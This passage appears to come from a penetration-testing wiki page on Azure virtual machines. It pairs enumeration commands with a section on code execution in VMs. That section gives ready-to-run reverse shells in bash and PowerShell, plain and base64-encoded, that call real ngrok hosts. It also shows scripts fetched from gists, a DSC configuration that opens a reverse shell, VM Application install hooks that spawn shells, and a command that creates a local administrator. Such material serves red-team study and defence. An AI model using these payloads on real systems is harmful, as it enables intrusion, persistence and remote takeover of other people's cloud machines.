--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
|
||||
--auth-type ssh-key \
|
||||
--username azureuser \
|
||||
--ssh-key ~/.ssh/id_rsa
|
||||
|
||||
# Connect via RDP through bastion
|
||||
az network bastion rdp \
|
||||
--name <BASTION_NAME> \
|
||||
--resource-group <RESOURCE_GROUP> \
|
||||
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
|
||||
--auth-type password \
|
||||
--username <VM_USERNAME> \
|
||||
--password <VM_PASSWORD>
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
|
||||
```powershell
|
||||
# List bastions
|
||||
Get-AzBastion
|
||||
```
|
||||
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## Metadata
|
||||
|
||||
The Azure Instance Metadata Service (IMDS) **provides information about running virtual machine instances** to assist with their management and configuration. It offers details such as the SKU, storage, network configurations, and information about upcoming maintenance events via **REST API available at the non-routable IP address 169.254.169.254**, which is accessible only from within the VM. Communication between the VM and IMDS stays within the host, ensuring secure access. When querying IMDS, HTTP clients inside the VM should bypass web proxies to ensure proper communication.
|
||||
|
||||
Moreover, to contact the metadata endpoint, the HTTP request must have the header **`Metadata: true`** and must not have the header **`X-Forwarded-For`**.
|
||||
|
||||
Check how to enumerate it in:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
## VM Enumeration
|
||||
|
||||
```bash
|
||||
# VMs
|
||||
## List all VMs and get info about one
|
||||
az vm list --output table
|
||||
az vm show --name <came> --resource-group <rsc-group>
|
||||
|
||||
## List all available VM images and get info about one
|
||||
az vm image list --all --output table
|
||||
|
||||
# VM Extensions
|
||||
## List all VM extensions
|
||||
az vm extension image list --output table
|
||||
|
||||
## Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
|
||||
## List extensions in a VM
|
||||
az vm extension list -g <rsc-group> --vm-name <vm-name>
|
||||
|
||||
## List managed identities in a VM
|
||||
az vm identity show \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name>
|
||||
|
||||
# Disks
|
||||
## List all disks and get info about one
|
||||
az disk list --output table
|
||||
az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
|
||||
# Snapshots
|
||||
## List all galleries abd get info about one
|
||||
az sig list --output table
|
||||
az sig show --gallery-name <name> --resource-group <rsc-group>
|
||||
|
||||
## List all snapshots and get info about one
|
||||
az snapshot list --output table
|
||||
az snapshot show --name <name> --resource-group <rsc-group>
|
||||
|
||||
# Shared Image Galleries | Compute Galleries
|
||||
## List all galleries and get info about one
|
||||
az sig list --output table
|
||||
az sig show --gallery-name <name> --resource-group <rsc-group>
|
||||
|
||||
## List all community galleries
|
||||
az sig list-community --output table
|
||||
|
||||
## List galleries shared with me
|
||||
az sig list-shared --location <location> --output table
|
||||
|
||||
## List all image definitions in a gallery and get info about one
|
||||
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
|
||||
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>
|
||||
|
||||
## List all the versions of an image definition in a gallery
|
||||
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table
|
||||
|
||||
## List all VM applications inside a gallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
|
||||
# Images
|
||||
# List all managed images in your subscription
|
||||
az image list --output table
|
||||
|
||||
# Restore points
|
||||
## List all restore points and get info about 1
|
||||
az restore-point collection list-all --output table
|
||||
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>
|
||||
|
||||
# Bastion
|
||||
## list all bastions
|
||||
az network bastion list -o table
|
||||
|
||||
# Network
|
||||
## List VNets
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
|
||||
|
||||
## List subnets of a VNet
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
|
||||
|
||||
## List public IPs
|
||||
az network public-ip list --output table
|
||||
|
||||
## Get NSG rules
|
||||
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table
|
||||
|
||||
## Get NICs and subnets using this NSG
|
||||
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
|
||||
|
||||
## List all Nics & get info of a single one
|
||||
az network nic list --output table
|
||||
az network nic show --name <name> --resource-group <rsc-group>
|
||||
|
||||
## List Azure Firewalls
|
||||
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
|
||||
|
||||
## Get network rules of a firewall
|
||||
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
|
||||
## Get application rules of a firewall
|
||||
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
|
||||
## Get nat rules of a firewall
|
||||
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
|
||||
## List Route Tables
|
||||
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
|
||||
## List routes for a table
|
||||
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
|
||||
|
||||
# Misc
|
||||
## List all virtual machine scale sets
|
||||
az vmss list --output table
|
||||
|
||||
## List all availability sets
|
||||
az vm availability-set list --output table
|
||||
|
||||
## List all load balancers
|
||||
az network lb list --output table
|
||||
|
||||
## List all storage accounts
|
||||
az storage account list --output table
|
||||
|
||||
## List all custom script extensions on a specific VM
|
||||
az vm extension list --vm-name <vm-name> --resource-group <resource-group>
|
||||
|
||||
# Show boot diagnostics settings for a specific VM
|
||||
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>
|
||||
|
||||
## List all tags on virtual machines
|
||||
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table
|
||||
|
||||
# List all available run commands for virtual machines
|
||||
az vm run-command list --output table
|
||||
```
|
||||
|
||||
```powershell
|
||||
# Get readable VMs
|
||||
Get-AzVM | fl
|
||||
# Lis running VMs
|
||||
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
|
||||
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
|
||||
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile
|
||||
|
||||
# Get iface and IP address
|
||||
Get-AzNetworkInterface -Name <interface_name>
|
||||
Get-AzPublicIpAddress -Name <iface_public_ip_id>
|
||||
|
||||
#Get installed extensions
|
||||
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>
|
||||
|
||||
Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
|
||||
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)
|
||||
|
||||
|
||||
# Disks
|
||||
## List all disks and get info about one
|
||||
Get-AzDisk
|
||||
Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Snapshots
|
||||
## List all galleries abd get info about one
|
||||
Get-AzGallery
|
||||
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List all snapshots and get info about one
|
||||
Get-AzSnapshot
|
||||
Get-AzSnapshot -Name <SnapshotName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List all image definitions in a gallery and get info about one
|
||||
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
Get-AzGalleryImageDefinition -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName> -Name <ImageDefinitionName>
|
||||
|
||||
## List all the versions of an image definition in a gallery
|
||||
Get-AzGalleryImageVersion -GalleryImageDefinitionName <ImageName> -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List all VM applications inside a gallery
|
||||
Get-AzGalleryApplication -GalleryName <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Images
|
||||
# List all managed images in your subscription
|
||||
Get-AzImage -Name <ResourceName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Restore points
|
||||
## List all restore points and get info about 1
|
||||
Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
# Bastion
|
||||
## List bastions
|
||||
Get-AzBastion
|
||||
|
||||
# Network
|
||||
## List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
|
||||
## List VNet peering connections for a given VNet
|
||||
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).VirtualNetworkPeerings
|
||||
|
||||
## List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
Get-AzFirewall
|
||||
|
||||
## List VPN Gateways
|
||||
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List VPN Connections
|
||||
Get-AzVirtualNetworkGatewayConnection -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
## List ExpressRoute Circuits
|
||||
Get-AzExpressRouteCircuit
|
||||
|
||||
# Misc
|
||||
## List all virtual machine scale sets
|
||||
Get-AzVmss
|
||||
|
||||
## List all availability sets
|
||||
Get-AzAvailabilitySet
|
||||
|
||||
## List all load balancers
|
||||
Get-AzLoadBalancer
|
||||
|
||||
## List all storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
## List all custom script extensions on a specific VM
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
|
||||
## Code Execution in VMs
|
||||
|
||||
### VM Extensions
|
||||
|
||||
Azure VM extensions are small applications that provide **post-deployment configuration** and automation tasks on Azure virtual machines (VMs).
|
||||
|
||||
This would allow to **execute arbitrary code inside VMs**.
|
||||
|
||||
The required permission is **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
It's possible to list all the available extensions with:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Az Cli" }}
|
||||
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
az vm extension image list --output table
|
||||
|
||||
# Get extensions by publisher
|
||||
az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# It takes some mins to run
|
||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
It's possible to **run custom extensions that runs custom code**:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
- Execute a revers shell
|
||||
|
||||
```bash
|
||||
# Prepare the rev shell
|
||||
echo -n 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
|
||||
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==
|
||||
|
||||
# Execute rev shell
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
|
||||
- Execute a script located on the internet
|
||||
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScript \
|
||||
--publisher Microsoft.Azure.Extensions \
|
||||
--version 2.1 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
|
||||
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
- Execute a reverse shell
|
||||
|
||||
```bash
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Execute it
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="}'
|
||||
|
||||
```
|
||||
|
||||
- Execute reverse shell from file
|
||||
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group <rsc-group> \
|
||||
--vm-name <vm-name> \
|
||||
--name CustomScriptExtension \
|
||||
--publisher Microsoft.Compute \
|
||||
--version 1.10 \
|
||||
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
|
||||
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
|
||||
```
|
||||
|
||||
You could also execute other payloads like: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Reset password using the VMAccess extension
|
||||
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Relevant VM extensions
|
||||
|
||||
The required permission is still **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>VMAccess extension</summary>
|
||||
|
||||
This extension allows to modify the password (or create if it doesn't exist) of users inside Windows VMs.
|
||||
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
This is a **VM extensio**n that belongs to Microsoft that uses PowerShell DSC to manage the configuration of Azure Windows VMs. Therefore, it can be used to **execute arbitrary commands** in Windows VMs through this extension:
|
||||
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
Script ReverseShell {
|
||||
GetScript = { @{} }
|
||||
SetScript = {
|
||||
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
|
||||
$stream = $client.GetStream();
|
||||
[byte[]]$bytes = 0..65535|%{0};
|
||||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
|
||||
$sendback = (iex $data 2>&1 | Out-String );
|
||||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||||
$stream.Write($sendbyte, 0, $sendbyte.Length)
|
||||
}
|
||||
$client.Close()
|
||||
}
|
||||
TestScript = { return $false }
|
||||
}
|
||||
}
|
||||
}
|
||||
RevShellConfig -OutputPath .\Output
|
||||
|
||||
# Upload config to blob
|
||||
$resourceGroup = 'dscVmDemo'
|
||||
$storageName = 'demostorage'
|
||||
Publish-AzVMDscConfiguration `
|
||||
-ConfigurationPath .\revShell.ps1 `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-StorageAccountName $storageName `
|
||||
-Force
|
||||
|
||||
# Apply DSC to VM and execute rev shell
|
||||
$vmName = 'myVM'
|
||||
Set-AzVMDscExtension `
|
||||
-Version '2.76' `
|
||||
-ResourceGroupName $resourceGroup `
|
||||
-VMName $vmName `
|
||||
-ArchiveStorageAccountName $storageName `
|
||||
-ArchiveBlobName 'revShell.ps1.zip' `
|
||||
-AutoUpdate `
|
||||
-ConfigurationName 'RevShellConfig'
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
This is a VM extension that would allow to execute runbooks in VMs from an automation account. For more information check the [Automation Accounts service](../az-automation-account/).
|
||||
|
||||
</details>
|
||||
|
||||
### VM Applications
|
||||
|
||||
These are packages with all the **application data and install and uninstall scripts** that can be used to easily add and remove application in VMs.
|
||||
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
|
||||
# List all apps in a fallery
|
||||
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table
|
||||
```
|
||||
|
||||
These are the paths were the applications get downloaded inside the file system:
|
||||
|
||||
- Linux: `/var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>`
|
||||
- Windows: `C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>`
|
||||
|
||||
Check how to install new applications in [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> It's possible to **share individual apps and galleries with other subscriptions or tenants**. Which is very interesting because it could allow an attacker to backdoor an application and pivot to other subscriptions and tenants.
|
||||
|
||||
But there **isn't a "marketplace" for vm apps** like there is for extensions.
|
||||
|
||||
The permissions required are:
|
||||
|
||||
- `Microsoft.Compute/galleries/applications/write`
|
||||
- `Microsoft.Compute/galleries/applications/versions/write`
|
||||
- `Microsoft.Compute/virtualMachines/write`
|
||||
- `Microsoft.Network/networkInterfaces/join/action`
|
||||
- `Microsoft.Compute/disks/write`
|
||||
|
||||
Exploitation example to execute arbitrary commands:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Linux" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group myResourceGroup \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Linux \
|
||||
--location "West US 2"
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.2 \
|
||||
--application-name myReverseShellApp \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
|
||||
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name <vm-name> \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Windows" }}
|
||||
|
||||
```bash
|
||||
# Create gallery (if the isn't any)
|
||||
az sig create --resource-group <rsc-group> \
|
||||
--gallery-name myGallery --location "West US 2"
|
||||
|
||||
# Create application container
|
||||
az sig gallery-application create \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--resource-group <rsc-group> \
|
||||
--os-type Windows \
|
||||
--location "West US 2"
|
||||
|
||||
# Get encoded reverse shell
|
||||
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
|
||||
|
||||
# Create app version with the rev shell
|
||||
## In Package file link just add any link to a blobl storage file
|
||||
export encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
|
||||
az sig gallery-application version create \
|
||||
--version-name 1.0.0 \
|
||||
--application-name myReverseShellAppWin \
|
||||
--gallery-name myGallery \
|
||||
--location "West US 2" \
|
||||
--resource-group <rsc-group> \
|
||||
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
|
||||
--install-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--remove-command "powershell.exe -EncodedCommand $encodedCommand" \
|
||||
--update-command "powershell.exe -EncodedCommand $encodedCommand"
|
||||
|
||||
# Install the app in a VM to execute the rev shell
|
||||
## Use the ID given in the previous output
|
||||
az vm application set \
|
||||
--resource-group <rsc-group> \
|
||||
--name deleteme-win4 \
|
||||
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \
|
||||
--treat-deployment-as-failure true
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### User data
|
||||
|
||||
This is **persistent data** that can be retrieved from the metadata endpoint at any time. Note in Azure user data is different from AWS and GCP because **if you place a script here it's not executed by default**.
|
||||
|
||||
### Custom data
|
||||
|
||||
It's possible to pass some data to the VM that will be stored in expected paths:
|
||||
|
||||
- In **Windows** custom data is placed in `%SYSTEMDRIVE%\AzureData\CustomData.bin` as a binary file and it isn't processed.
|
||||
